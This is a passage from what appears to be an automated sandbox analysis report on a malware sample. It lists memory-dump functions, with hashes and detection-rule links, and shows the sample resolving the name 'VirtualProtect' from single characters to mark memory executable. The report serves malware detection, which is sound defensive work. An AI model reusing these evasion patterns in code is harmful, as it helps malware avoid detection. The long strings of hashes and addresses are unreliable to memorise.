Opcode ID: e6c92503a33f5a3869f5afb8e7f544aaae516f18f07a47577cb61252836641fa
Instruction ID: 06811f5268e4c7007e7f35785b738c9da203cb5cb768bb6b9defc2452c994e7b
Opcode Fuzzy Hash: e6c92503a33f5a3869f5afb8e7f544aaae516f18f07a47577cb61252836641fa
Instruction Fuzzy Hash: 4D129FB1D046289BEB248B15DC94BEBB775EB85310F1481EAE80E97640D7385FC2CF96

Function 0294265F Relevance: 2.0, APIs: 1, Instructions: 480memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 37aca543246d27321978446009ef46b4c402ecfb461bffc841b22f4ae6c9f467
Instruction ID: 402ad5bfa31b78e911305430148d2d13c13074a97a44db98c0733af9166c2bbd
Opcode Fuzzy Hash: 37aca543246d27321978446009ef46b4c402ecfb461bffc841b22f4ae6c9f467
Instruction Fuzzy Hash: CC127DB1D052299BEB24CB24DC94FEAB7B6FB84310F1441FAE809A6241DB395EC5CF51

Function 00414073 Relevance: 1.8, APIs: 1, Instructions: 334nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 00414407

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 0653e3590ba339b19214c555b71e3c355d62d481b9a398cd865a43def61d066f
Instruction ID: 3f314c2593dc6b407e6b561a2574f481002bd67d4b7bfaacc7da0ed4a23cb33b
Opcode Fuzzy Hash: 0653e3590ba339b19214c555b71e3c355d62d481b9a398cd865a43def61d066f
Instruction Fuzzy Hash: 0CE171B1E046288BEB24CB04DD80BEA77B5FB85305F1081EAD90E67741DB386EC28F55

Function 00415683 Relevance: 1.8, APIs: 1, Instructions: 314nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 004159C9

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: a94c331962f9b7fd4a4a937a5d26df14fbde6cfacee049ce0d6527fc03f08267
Instruction ID: fa1ad4bce8c26bedcc00884bab8c12a8e765e48cff4ac5f0fb3961131177c787
Opcode Fuzzy Hash: a94c331962f9b7fd4a4a937a5d26df14fbde6cfacee049ce0d6527fc03f08267
Instruction Fuzzy Hash: 46D13DB0D04628CBEB24CB14CC90AEAB7B5FB85315F2482EAD84957741D7385ED1CF56

Function 029421C9 Relevance: 1.8, APIs: 1, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea12b6b149eaa7ea811b1afab62322f5768666ad9b4cc95c3c5fca5afc0b2a90
Instruction ID: b67b8f0065bf60ed16704669b227bffe3424dbe793751840558ffdb2830ed010
Opcode Fuzzy Hash: ea12b6b149eaa7ea811b1afab62322f5768666ad9b4cc95c3c5fca5afc0b2a90
Instruction Fuzzy Hash: 5CC1F2B1E082689AFB20CB24DC44BEBB775EF85300F1440F9D94DA7681E7795AC5CB26

Function 0041DB63 Relevance: 1.8, APIs: 1, Instructions: 281memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0041E720

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0e14e6dd54dfa33c9f9191793acae5ea6c643a57b21e62ba3802395b5539856b
Instruction ID: ea9475aaf84c90d03e26f4fe69bce158bab996aef497ccfa93ce8eb307b47aac
Opcode Fuzzy Hash: 0e14e6dd54dfa33c9f9191793acae5ea6c643a57b21e62ba3802395b5539856b
Instruction Fuzzy Hash: DDC192B5D046288BE724CF14DC94AEAB7B5EF85305F1442EAD84D67344D638AFC2CE91

Function 00405549 Relevance: 1.8, APIs: 1, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1de122c5e3d1c5abbecc9a6568d886ae5d52626750e6fb6e47592f7df5d60607
Instruction ID: 142968927670bf6e8684e60bf5a21c067de74e5a99ff5f05f77ebf6c6511b28c
Opcode Fuzzy Hash: 1de122c5e3d1c5abbecc9a6568d886ae5d52626750e6fb6e47592f7df5d60607
Instruction Fuzzy Hash: 4391BEB1D145289FEB24CA10DC91BFB7775EF84310F1441FAE80AA6280E6786EC18F66

Function 00414B29 Relevance: 1.7, APIs: 1, Instructions: 236nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 004159C9

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: aada88f94dbe90619bfda251951cec9d7211785ad236fcc07db0793e538a486d
Instruction ID: 2bdbfeeb07a83b081b1dec05c2de7949678f3e80a81045c40057b8e986f634d2
Opcode Fuzzy Hash: aada88f94dbe90619bfda251951cec9d7211785ad236fcc07db0793e538a486d
Instruction Fuzzy Hash: 9481D2B2D146299AEB208B21DC84BFBB774EF85320F1041FAD80E97640D63D5AC6DF56

Function 02962F05 Relevance: 1.7, APIs: 1, Instructions: 220memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8d9b77e88ac282eeb6730faa719dd4ba6de52049ca9a6acffb3f79792b8b4f52
Instruction ID: c922c7a547c83f2aac3e94061e4ead4a06789d052afea5e1487cbb7d5ac48645
Opcode Fuzzy Hash: 8d9b77e88ac282eeb6730faa719dd4ba6de52049ca9a6acffb3f79792b8b4f52
Instruction Fuzzy Hash: 598190B2D002689BEB248B25DC98BEAB7B9FF85300F0441FAD94D66680D7795EC1CF51

Function 02942E10 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 593bdc4a22e73c13261413a9bcaa09d05b440263cba2c620499202e8e6b4e43b
Instruction ID: e0f4415609408ba2c1c2b1e6bcac052f9eaded528f64dd29debf4e5a8270ff27
Opcode Fuzzy Hash: 593bdc4a22e73c13261413a9bcaa09d05b440263cba2c620499202e8e6b4e43b
Instruction Fuzzy Hash: B08192B2D052199BEB248B64DC94FEAB775FF85300F1481FAE90DA7240DA385AC5CF61

Function 00414293 Relevance: 1.7, APIs: 1, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82a09534369ed8db59abc299b0d0d73b34177ce6d23c2d6ef2b7eb4abd644d9f
Instruction ID: 2ccb4b8e1b828111da187549b73b7bed09631c9581142b349aeca521cb4aecd7
Opcode Fuzzy Hash: 82a09534369ed8db59abc299b0d0d73b34177ce6d23c2d6ef2b7eb4abd644d9f
Instruction Fuzzy Hash: 2181E6B1E045689BE7148B14DC90BFA7775EBC1311F1480FAD90D96A41EA3C5FC28F56

Function 00414BC4 Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efc6114b38ede870f19572a077ce8f34e433136dba90b70f0f5652e4ce93a679
Instruction ID: deb1ee1084e10d5d0929472a2541515f9af84c7b9dbf1a65036e5e419ba0d0ef
Opcode Fuzzy Hash: efc6114b38ede870f19572a077ce8f34e433136dba90b70f0f5652e4ce93a679
Instruction Fuzzy Hash: B06105B2D046259AEB248B25EC80BFB7774EF85310F1441FAE80D96640E63C4AC6DF57

Function 02942C4F Relevance: 1.7, APIs: 1, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 177bde6d0d94c86387381810c638286f39866f2e7bff8b94b48bfc2557ad3d8f
Instruction ID: 72ca93fcf9d026189b2bb10eff6543fcb08192198606117ba36d75c8f4736b80
Opcode Fuzzy Hash: 177bde6d0d94c86387381810c638286f39866f2e7bff8b94b48bfc2557ad3d8f
Instruction Fuzzy Hash: FB61B6B1D052199BEB248B64DC95BFAB775FF85300F1081FAE90DA6240EA385EC5CF51

Function 02942D6D Relevance: 1.7, APIs: 1, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c9814f523deae3784150f85a1bd06827bb5189db4277006f51ce55b349c1f9
Instruction ID: 79d53e7b82b6d3aee354576eb8edd54f47c41fba1f012f7b94a0b6162b44e78b
Opcode Fuzzy Hash: 58c9814f523deae3784150f85a1bd06827bb5189db4277006f51ce55b349c1f9
Instruction Fuzzy Hash: 6671A4B1D042299BEB248B64CC94BFAB775FF85310F1081FAE90966280EB385BC5CF51

Function 00415218 Relevance: 1.7, APIs: 1, Instructions: 181nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 004159C9

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: e0e1f3954c7ba1c7ef2d66d058b401c352de01454b785b1e63db92682193dc04
Instruction ID: ba3c42fc11e5c63ce657f83179ebfcf7e4a4bbc62507e025c4d75a697608f587
Opcode Fuzzy Hash: e0e1f3954c7ba1c7ef2d66d058b401c352de01454b785b1e63db92682193dc04
Instruction Fuzzy Hash: BF5109F2E14614AAF7148A11DC55AEB7B38EBC1320F1541BFE40E56580E73C5AC6CEA7

Function 02962D95 Relevance: 1.7, APIs: 1, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a5c14b78284407e603fb2979274396953ddd13e2c6c945406deda62e995e29f
Instruction ID: ea1885a3d661d656c6937f6aebab71455ee161c75fec9ea064388a08b6bfc1cf
Opcode Fuzzy Hash: 8a5c14b78284407e603fb2979274396953ddd13e2c6c945406deda62e995e29f
Instruction Fuzzy Hash: 3251B0B2D002689BEB248B24DC98BFABBB5FF95300F0441FAD94D66680D7795EC18F51

Function 0041511D Relevance: 1.7, APIs: 1, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: cc7421cd6e901b749f81873e3e525c598baa07e0747a900bccec875066570b7d
Instruction ID: 907527cbab6c30aafd24090a91faa0c1f44de54d9e00556d73b04cfc7fc1412b
Opcode Fuzzy Hash: cc7421cd6e901b749f81873e3e525c598baa07e0747a900bccec875066570b7d
Instruction Fuzzy Hash: 2351E8B2D04624EBD7248A15DC94AEBBB78EF82320F1500FFD84E52541E7385AC6CE97

Function 00415176 Relevance: 1.7, APIs: 1, Instructions: 154nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 004159C9

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: f6e7668ead49a5d1a127073cbaaa2cd0492bcea209efbd2b493bc08d25e48a99
Instruction ID: dc083c8513370b6a7e1b408eb7299ad1963e72714ae03a143a9edf2d6101bc23
Opcode Fuzzy Hash: f6e7668ead49a5d1a127073cbaaa2cd0492bcea209efbd2b493bc08d25e48a99
Instruction Fuzzy Hash: 245105B2D04624DBE7248B15DC94AEBBB78EF82320F1501FBD84D52641E7385AC6CE97

Function 0041388D Relevance: 1.7, APIs: 1, Instructions: 153nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 00414407

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 0c6ff9d6739e4926aa0a0643dda8a5eac2e34975a8c525105edeafa609ecb5f0
Instruction ID: 623baf64d49f696e28e9638c525d1c9b9a0e241ed33c12b756583b930db3701c
Opcode Fuzzy Hash: 0c6ff9d6739e4926aa0a0643dda8a5eac2e34975a8c525105edeafa609ecb5f0
Instruction Fuzzy Hash: A651B4F2E14614AFF7148A10DC84AFB7379EBC1710F1444BAE90E96681E67C5FC68E26

Function 00413CD3 Relevance: 1.7, APIs: 1, Instructions: 151nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 00414407

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: cda5d5b588739d34371c18e841c4ff1e3498abe9c5f7afe4ff9c093aa90421ce
Instruction ID: 9aa5f7881466681aa772bf72ee5859fe375fea45ae3c891cb2f3118c0af1c4c9
Opcode Fuzzy Hash: cda5d5b588739d34371c18e841c4ff1e3498abe9c5f7afe4ff9c093aa90421ce
Instruction Fuzzy Hash: 7751E7F2E14514AFF7148A10DC84AFB7379EBC1310F1440BAE90E96681E67C5FC68E26

Function 02962C10 Relevance: 1.6, APIs: 1, Instructions: 148memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c9af2f9548c5ae1509ba3aa328abb2575e5087937a6f67d67b6220f5d661a00b
Instruction ID: 8763bb15a6f345965a3cd4f786c53143d24b1801308f0118148f8483b510f0e9
Opcode Fuzzy Hash: c9af2f9548c5ae1509ba3aa328abb2575e5087937a6f67d67b6220f5d661a00b
Instruction Fuzzy Hash: 6B51B3B2D452689FE7208B24DC98BEABBB5EF85310F0441FAD84D67240D6395EC6CF91

Function 02962DFA Relevance: 1.6, APIs: 1, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7847964f7993daaf909e355f1a4f914d50238e67422dad1c7ea268aa2784ebbb
Instruction ID: d9999cfc192f9122c0ded445b51a2b067ed2304464568dc1ea82224f1ef209e9
Opcode Fuzzy Hash: 7847964f7993daaf909e355f1a4f914d50238e67422dad1c7ea268aa2784ebbb
Instruction Fuzzy Hash: CC51F7B2D002689BFB148B25DC98BFBBBB5EB84310F0441FAD94D66680D7395EC18E91

Function 029624CD Relevance: 1.6, APIs: 1, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2294c18ed1625ca50271c412fcd8ef200cacdeb9839bdc797664afee6a875cb3
Instruction ID: 51eb89c17dc345e41bf55b68f6de3f604bab8837d0131cdf784a4ca908fcdb1d
Opcode Fuzzy Hash: 2294c18ed1625ca50271c412fcd8ef200cacdeb9839bdc797664afee6a875cb3
Instruction Fuzzy Hash: DF412AB2D042655BE7108B64CC98BF7BFB5AF81310F0981F9C88D67581D6395DC28B92

Function 029626B1 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5c8827778892a454d37fc60e85c8bf59982c7411f6c44357e6cff6166167a900
Instruction ID: 922775413b4f71a20e0cfe8d4b3f9d7d6500b83126f7a419230a35b70a87d6d8
Opcode Fuzzy Hash: 5c8827778892a454d37fc60e85c8bf59982c7411f6c44357e6cff6166167a900
Instruction Fuzzy Hash: 6A4128B2D042656BE7108764CD58AEBBFB5AFC5300F0941F9C88D67181D6395ED2CB92

Function 0296274D Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8211037733c935f53ab15e2385e6176317730e4017ece48f7b256e656556a34c
Instruction ID: eaa29c3ad2a41dd8c71bcfc199d839c2581b2713ae206f05491fd619fbcae191
Opcode Fuzzy Hash: 8211037733c935f53ab15e2385e6176317730e4017ece48f7b256e656556a34c
Instruction Fuzzy Hash: 3D3158B2D001756AE7109774CC58AEBBFF6AFC1310F0981F9C88D27580D6395EC28AD2

Function 0041593F Relevance: 1.6, APIs: 1, Instructions: 95nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 004159C9

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 2ee1ef264bc4ebc8b30da043098102030a14541c61441aee103fdd9e84735800
Instruction ID: 5aed80fd884622ecab96074d3f50fb13f6af1cc7fb0245db3553990cdb108002
Opcode Fuzzy Hash: 2ee1ef264bc4ebc8b30da043098102030a14541c61441aee103fdd9e84735800
Instruction Fuzzy Hash: F231D1B1D08669CAEB248B11CC846FABB74EF86311F2041EFC88D96641D6395AC6CF57

Function 02928241 Relevance: 1.5, APIs: 1, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,?), ref: 029289F3

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 942d07a9f32455f821ca1e0e9bd376b5aee328b0ed915e1276cf9cd330c2db88
Instruction ID: 73e41ca08a2007cee254133a24dbc01f3f5266db241cc7e64b5fd525a414bdc0
Opcode Fuzzy Hash: 942d07a9f32455f821ca1e0e9bd376b5aee328b0ed915e1276cf9cd330c2db88
Instruction Fuzzy Hash: 3A91D3B2D542689FF760CA10DC85BAAB779FF84310F0081FAD40DA6684D67D5EC68F62

Function 02941A19 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 360COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 329f5c909aefe1beb164f7bbc9f983ec8770aa4dfe7c495842918b623a36f1b7
Instruction ID: b49271cb406578a054f62d98548e5dcf8b20cc35111f0b88ae02cf0b5939920f
Opcode Fuzzy Hash: 329f5c909aefe1beb164f7bbc9f983ec8770aa4dfe7c495842918b623a36f1b7
Instruction Fuzzy Hash: 9BE1F4B2D082A89AF7208624DC04BEA7B75EF82304F0441F9D44D67681D77E5EC5CF66

Function 0294164C Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 354COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: ca5a3a15578fd7cb35e0313299d088d7a98ad2ce4692f1a3aaec425f8043a175
Instruction ID: 1e5058b5b0b64f03acec5aa2348086644b60bcac92fac4f515a93253d91b0329
Opcode Fuzzy Hash: ca5a3a15578fd7cb35e0313299d088d7a98ad2ce4692f1a3aaec425f8043a175
Instruction Fuzzy Hash: FCD1F3B2E082A89AF7218624DC04BEA7B75AF82304F0441F9D44D67681DB7E5EC5CB66

Function 02941CF5 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 349COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 8f2594680734045e0763b17c708b50dcfe9e0790e92f3f9c0a5bf2551c7a3156
Instruction ID: e14f6ebdaf631085e7e35ac794cf80c402d68348d62e90c70f182f20c7281e5d
Opcode Fuzzy Hash: 8f2594680734045e0763b17c708b50dcfe9e0790e92f3f9c0a5bf2551c7a3156
Instruction Fuzzy Hash: 38D1F3B2E082A89AF7218624DC04BEA7B75AF82304F0441F9D44D67681D77E5FC5CB66

Function 02941252 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 348COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: P$V$a$c$e$i$l$o$r$r$t$t$t$u
API String ID: 0-225289630
Opcode ID: 5bffa4e9be23bd20b16d1e2b8295fd38089943add37232f9449f210a2491f168
Instruction ID: 08d17f12f01b319d70c6077199d7819d5cf0b8de450be7216acafca8f5eec2de
Opcode Fuzzy Hash: 5bffa4e9be23bd20b16d1e2b8295fd38089943add37232f9449f210a2491f168
Instruction Fuzzy Hash: 16D103B2E082A89AF7218624DC04BEA7B75EF82304F0441F9D44D67681DB7E5FC5CB66

Function 02941A9F Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 347COMMON

Download Yara Rule

Strings

t, xrefs: 02941EA1
o, xrefs: 02941ECB
u, xrefs: 02941EA8
i, xrefs: 02941E93
t, xrefs: 02941EE7
l, xrefs: 02941EB6
V, xrefs: 02941E8C
t, xrefs: 02941ED2
r, xrefs: 02941EC4
P, xrefs: 02941EBD
a, xrefs: 02941EAF
r, xrefs: 02941E9A
e, xrefs: 02941ED9
c, xrefs: 02941EE0

Memory Dump Source

